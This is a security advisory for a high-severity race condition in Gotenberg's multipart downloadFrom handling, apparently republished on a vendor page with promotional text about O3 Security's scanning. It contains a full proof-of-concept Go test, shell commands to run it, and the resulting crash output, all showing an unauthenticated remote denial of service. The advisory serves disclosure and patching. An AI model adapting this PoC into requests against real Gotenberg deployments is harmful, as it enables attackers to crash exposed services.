GHSA-vp73-vjw8-8f32
HIGHGHSA-vp73-vjw8-8f32 is a high-severity (CVSS 7.5) CWE-362 vulnerability in github.com/gotenberg/gotenberg/v8. O3 Security confirms whether GHSA-vp73-vjw8-8f32 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Gotenberg has a Race Condition via Multipart `downloadFrom` Handling
Real-World Exposure
github.com/gotenberg/gotenberg/v8Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Gotenberg is vulnerable to a remote denial of service in multipart downloadFrom handling.
A multipart request containing multiple downloadFrom entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with fatal error: concurrent map writes.
In the default configuration, downloadFrom is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker.
Details
The issue is in pkg/modules/api/context.go.
newContext parses multipart requests and processes the downloadFrom form field before the route handler runs. For each downloadFrom entry, it starts a goroutine via errgroup.Go():
pkg/modules/api/context.go:221
Each goroutine downloads a file and then writes to request context maps shared by all goroutines:
ctx.files[filename] = pathctx.diskToOriginal[path] = filenamectx.filesByField[...] = append(...)
Affected lines in current main:
pkg/modules/api/context.go:395pkg/modules/api/context.go:396pkg/modules/api/context.go:401
Go maps and slices are not safe for concurrent writes. A crafted multipart request with many downloadFrom entries can therefore trigger a runtime crash.
The vulnerable downloadFrom feature was introduced in commit f2b6bd3d. The first tagged release containing this code appears to be v8.10.0.
PoC
The following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access.
Run from the repository root:
cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF'
//go:build security_poc
package api
import (
"bytes"
"encoding/json"
"fmt"
"log/slog"
"mime/multipart"
"net/http"
"net/http/httptest"
"sync"
"testing"
"time"
"github.com/labstack/echo/v4"
"github.com/gotenberg/gotenberg/v8/pkg/gotenberg"
)
func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) {
const downloads = 64
var ready sync.WaitGroup
ready.Add(downloads)
release := make(chan struct{})
var releaseOnce sync.Once
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
ready.Done()
go func() {
ready.Wait()
releaseOnce.Do(func() {
close(release)
})
}()
<-release
filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i"))
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename))
_, _ = w.Write([]byte("downloaded"))
}))
defer server.Close()
dls := make([]downloadFrom, downloads)
for i := range dls {
dls[i] = downloadFrom{
Url: fmt.Sprintf("%s/file?i=%d", server.URL, i),
Field: "embedded",
}
}
payload, err := json.Marshal(dls)
if err != nil {
t.Fatalf("marshal downloadFrom payload: %v", err)
}
body := new(bytes.Buffer)
writer := multipart.NewWriter(body)
err = writer.WriteField("downloadFrom", string(payload))
if err != nil {
t.Fatalf("write downloadFrom field: %v", err)
}
err = writer.Close()
if err != nil {
t.Fatalf("close multipart writer: %v", err)
}
req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body)
req.Header.Set("Content-Type", writer.FormDataContentType())
echoCtx := echo.New().NewContext(req, httptest.NewRecorder())
logger := slog.New(slog.DiscardHandler)
fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll))
downloadFromCfg := downloadFromConfig{
maxRetry: 0,
}
ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg)
if err != nil {
t.Fatalf("newContext returned error: %v", err)
}
defer cancel()
if got := len(ctx.files); got != downloads {
t.Fatalf("downloaded files = %d, want %d", got, downloads)
}
}
EOF
GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1
rm pkg/modules/api/downloadfrom_race_poc_test.go
Expected result with the race detector:
WARNING: DATA RACE
Write at ...
github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3()
.../pkg/modules/api/context.go:395
WARNING: DATA RACE
.../pkg/modules/api/context.go:396
WARNING: DATA RACE
.../pkg/modules/api/context.go:401
Running the same PoC without -race also demonstrates practical process termination:
GOTOOLCHAIN=go1.26.2 go test -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=20
Observed result:
fatal error: concurrent map writes
github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3()
.../pkg/modules/api/context.go:395
FAIL github.com/gotenberg/gotenberg/v8/pkg/modules/api
Impact
This is a remote denial-of-service vulnerability.
Any deployment that exposes multipart conversion endpoints with downloadFrom enabled is affected. In the default configuration, downloadFrom is enabled and basic authentication is disabled, so internet-exposed default deployments may be vulnerable to unauthenticated process termination.
The vulnerability affects availability only. I did not find evidence of confidentiality or integrity impact.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gotenberg/gotenberg/v8 | ≥ 8.10.0&&< 8.33.0 | 8.33.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/gotenberg/gotenberg/v8 to 8.33.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vp73-vjw8-8f32 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-vp73-vjw8-8f32 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-vp73-vjw8-8f32. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vp73-vjw8-8f32 in your dependencies?
O3 detects GHSA-vp73-vjw8-8f32 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.